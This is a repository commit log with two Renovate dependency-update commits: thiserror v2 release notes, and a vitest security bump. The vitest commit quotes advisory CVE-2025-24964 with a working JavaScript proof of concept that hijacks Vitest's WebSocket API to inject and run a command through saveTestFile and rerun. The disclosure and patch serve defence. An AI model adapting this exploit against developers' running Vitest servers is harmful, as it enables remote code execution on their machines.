renovate
|
9ca8fc895a
|
chore: bump up Rust crate thiserror to v2 (#10529)
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [thiserror](https://redirect.github.com/dtolnay/thiserror) | dependencies | major | `1` -> `2` |
---
### Release Notes
<details>
<summary>dtolnay/thiserror (thiserror)</summary>
### [`v2.0.11`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.11)
[Compare Source](https://redirect.github.com/dtolnay/thiserror/compare/2.0.10...2.0.11)
- Add feature gate to tests that use std ([#​409](https://redirect.github.com/dtolnay/thiserror/issues/409), [#​410](https://redirect.github.com/dtolnay/thiserror/issues/410), thanks [@​Maytha8](https://redirect.github.com/Maytha8))
### [`v2.0.10`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.10)
[Compare Source](https://redirect.github.com/dtolnay/thiserror/compare/2.0.9...2.0.10)
- Support errors containing a generic type parameter's associated type in a field ([#​408](https://redirect.github.com/dtolnay/thiserror/issues/408))
### [`v2.0.9`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.9)
[Compare Source](https://redirect.github.com/dtolnay/thiserror/compare/2.0.8...2.0.9)
- Work around `missing_inline_in_public_items` clippy restriction being triggered in macro-generated code ([#​404](https://redirect.github.com/dtolnay/thiserror/issues/404))
### [`v2.0.8`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.8)
[Compare Source](https://redirect.github.com/dtolnay/thiserror/compare/2.0.7...2.0.8)
- Improve support for macro-generated `derive(Error)` call sites ([#​399](https://redirect.github.com/dtolnay/thiserror/issues/399))
### [`v2.0.7`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.7)
[Compare Source](https://redirect.github.com/dtolnay/thiserror/compare/2.0.6...2.0.7)
- Work around conflict with #\[deny(clippy::allow_attributes)] ([#​397](https://redirect.github.com/dtolnay/thiserror/issues/397), thanks [@​zertosh](https://redirect.github.com/zertosh))
### [`v2.0.6`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.6)
[Compare Source](https://redirect.github.com/dtolnay/thiserror/compare/2.0.5...2.0.6)
- Suppress deprecation warning on generated From impls ([#​396](https://redirect.github.com/dtolnay/thiserror/issues/396))
### [`v2.0.5`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.5)
[Compare Source](https://redirect.github.com/dtolnay/thiserror/compare/2.0.4...2.0.5)
- Prevent deprecation warning on generated impl for deprecated type ([#​394](https://redirect.github.com/dtolnay/thiserror/issues/394))
### [`v2.0.4`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.4)
[Compare Source](https://redirect.github.com/dtolnay/thiserror/compare/2.0.3...2.0.4)
- Eliminate needless_lifetimes clippy lint in generated `From` impls ([#​391](https://redirect.github.com/dtolnay/thiserror/issues/391), thanks [@​matt-phylum](https://redirect.github.com/matt-phylum))
### [`v2.0.3`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.3)
[Compare Source](https://redirect.github.com/dtolnay/thiserror/compare/2.0.2...2.0.3)
- Support the same Path field being repeated in both Debug and Display representation in error message ([#​383](https://redirect.github.com/dtolnay/thiserror/issues/383))
- Improve error message when a format trait used in error message is not implemented by some field ([#​384](https://redirect.github.com/dtolnay/thiserror/issues/384))
### [`v2.0.2`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.2)
[Compare Source](https://redirect.github.com/dtolnay/thiserror/compare/2.0.1...2.0.2)
- Fix hang on invalid input inside #\[error(...)] attribute ([#​382](https://redirect.github.com/dtolnay/thiserror/issues/382))
### [`v2.0.1`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.1)
[Compare Source](https://redirect.github.com/dtolnay/thiserror/compare/2.0.0...2.0.1)
- Support errors that contain a dynamically sized final field ([#​375](https://redirect.github.com/dtolnay/thiserror/issues/375))
- Improve inference of trait bounds for fields that are interpolated multiple times in an error message ([#​377](https://redirect.github.com/dtolnay/thiserror/issues/377))
### [`v2.0.0`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.0)
[Compare Source](https://redirect.github.com/dtolnay/thiserror/compare/1.0.69...2.0.0)
#### Breaking changes
- Referencing keyword-named fields by a raw identifier like `{r#type}` inside a format string is no longer accepted; simply use the unraw name like `{type}` ([#​347](https://redirect.github.com/dtolnay/thiserror/issues/347))
This aligns thiserror with the standard library's formatting macros, which gained support for implicit argument capture later than the release of this feature in thiserror 1.x.
```rust
#[derive(Error, Debug)]
#[error("... {type} ...")] // Before: {r#type}
pub struct Error {
pub r#type: Type,
}
```
- Trait bounds are no longer inferred on fields whose value is shadowed by an explicit named argument in a format message ([#​345](https://redirect.github.com/dtolnay/thiserror/issues/345))
```rust
// Before: impl<T: Octal> Display for Error<T>
// After: impl<T> Display for Error<T>
#[derive(Error, Debug)]
#[error("{thing:o}", thing = "...")]
pub struct Error<T> {
thing: T,
}
```
- Tuple structs and tuple variants can no longer use numerical `{0}` `{1}` access at the same time as supplying extra positional arguments for a format message, as this makes it ambiguous whether the number refers to a tuple field vs a different positional arg ([#​354](https://redirect.github.com/dtolnay/thiserror/issues/354))
```rust
#[derive(Error, Debug)]
#[error("ambiguous: {0} {}", $N)]
// ^^^ Not allowed, use #[error("... {0} {n}", n = $N)]
pub struct TupleError(i32);
```
- Code containing invocations of thiserror's `derive(Error)` must now have a direct dependency on the `thiserror` crate regardless of the error data structure's contents ([#​368](https://redirect.github.com/dtolnay/thiserror/issues/368), [#​369](https://redirect.github.com/dtolnay/thiserror/issues/369), [#​370](https://redirect.github.com/dtolnay/thiserror/issues/370), [#​372](https://redirect.github.com/dtolnay/thiserror/issues/372))
#### Features
- Support disabling thiserror's standard library dependency by disabling the default "std" Cargo feature: `thiserror = { version = "2", default-features = false }` ([#​373](https://redirect.github.com/dtolnay/thiserror/issues/373))
- Support using `r#source` as field name to opt out of a field named "source" being treated as an error's `Error::source()` ([#​350](https://redirect.github.com/dtolnay/thiserror/issues/350))
```rust
#[derive(Error, Debug)]
#[error("{source} ==> {destination}")]
pub struct Error {
r#source: char,
destination: char,
}
let error = Error { source: 'S', destination: 'D' };
```
- Infinite recursion in a generated Display impl now produces an `unconditional_recursion` warning ([#​359](https://redirect.github.com/dtolnay/thiserror/issues/359))
```rust
#[derive(Error, Debug)]
#[error("??? {self}")]
pub struct Error;
```
- A new attribute `#[error(fmt = path::to::myfmt)]` can be used to write formatting logic for an enum variant out-of-line ([#​367](https://redirect.github.com/dtolnay/thiserror/issues/367))
```rust
#[derive(Error, Debug)]
pub enum Error {
#[error(fmt = demo_fmt)]
Demo { code: u16, message: Option<String> },
}
fn demo_fmt(code: &u16, message: &Option<String>, formatter: &mut fmt::Formatter) -> fmt::Result {
write!(formatter, "{code}")?;
if let Some(msg) = message {
write!(formatter, " - {msg}")?;
}
Ok(())
}
```
- Enums with an enum-level format message are now able to have individual variants that are `transparent` to supersede the enum-level message ([#​366](https://redirect.github.com/dtolnay/thiserror/issues/366))
```rust
#[derive(Error, Debug)]
#[error("my error {0}")]
pub enum Error {
Json(#[from] serde_json::Error),
Yaml(#[from] serde_yaml::Error),
#[error(transparent)]
Other(#[from] anyhow::Error),
}
```
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNzYuMiIsInVwZGF0ZWRJblZlciI6IjM5LjE3Ni4yIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
|
2025-02-28 15:13:05 +00:00 |
|
renovate
|
75c4291325
|
chore: bump up vitest version to v3.0.5 [SECURITY] (#9938)
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.2/3.0.5) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
### GitHub Vulnerability Alerts
#### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)
### Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
### Details
When [`api` option](https://vitest.dev/config/#api) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
9a581e1c43/packages/vitest/src/api/setup.ts (L32-L46)
This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.
9a581e1c43/packages/vitest/src/api/setup.ts (L66-L76)
### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.
```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
```
### Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
---
### Release Notes
<details>
<summary>vitest-dev/vitest (vitest)</summary>
### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5)
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)
##### 🚀 Features
- **ui**: Insert message "no tests found" in ui - by [@​DevJoaoLopes](https://redirect.github.com/DevJoaoLopes) in [https://github.com/vitest-dev/vitest/issues/7366](https://redirect.github.com/vitest-dev/vitest/issues/7366) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd)
##### 🐞 Bug Fixes
- Validate websocket request - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34)
- Don't toggle cli cursor on non-TTY - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7336](https://redirect.github.com/vitest-dev/vitest/issues/7336) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69)
- **vite-node**: Differentiate file url with hash and query - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7365](https://redirect.github.com/vitest-dev/vitest/issues/7365) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546)
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)
### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4)
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)
##### 🐞 Bug Fixes
- Filter projects eagerly during config resolution - by [@​sheremet-va](https://redirect.github.com/sheremet-va) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7313](https://redirect.github.com/vitest-dev/vitest/issues/7313) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d)
- Apply `development|production` condition on Vites 6 by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) and [@​sheremet-va](https://redirect.github.com/sheremet-va) ([#​7301](https://redirect.github.com/vitest-dev/vitest/issues/7301)) [<samp>(ef146)</samp>](ef1464fc7b)
- **browser**: Restrict served files from `/__screenshot-error` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7340](https://redirect.github.com/vitest-dev/vitest/issues/7340) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2)
- **deps**: Update all non-major dependencies - by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7297](https://redirect.github.com/vitest-dev/vitest/issues/7297) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae)
- **runner**: Timeout long sync hook - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7289](https://redirect.github.com/vitest-dev/vitest/issues/7289) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c)
- **typechecking**: Support typechecking parsing with Vite 6 - by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7335](https://redirect.github.com/vitest-dev/vitest/issues/7335) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9)
- **types**: Fix public types - by [@​mrginglymus](https://redirect.github.com/mrginglymus) and [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7328](https://redirect.github.com/vitest-dev/vitest/issues/7328) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c)
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)
### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3)
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)
##### 🐞 Bug Fixes
- **browser**:
- Don't throw a validation error if v8 coverage is used with filtered instances - by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7306](https://redirect.github.com/vitest-dev/vitest/issues/7306) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2)
- Don't fail when running --browser.headless if the browser projest is part of the workspace - by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7311](https://redirect.github.com/vitest-dev/vitest/issues/7311) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56)
##### 🏎 Performance
- **reporters**: Update summary only when needed - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7291](https://redirect.github.com/vitest-dev/vitest/issues/7291) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9)
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
|
2025-02-05 09:12:59 +00:00 |
|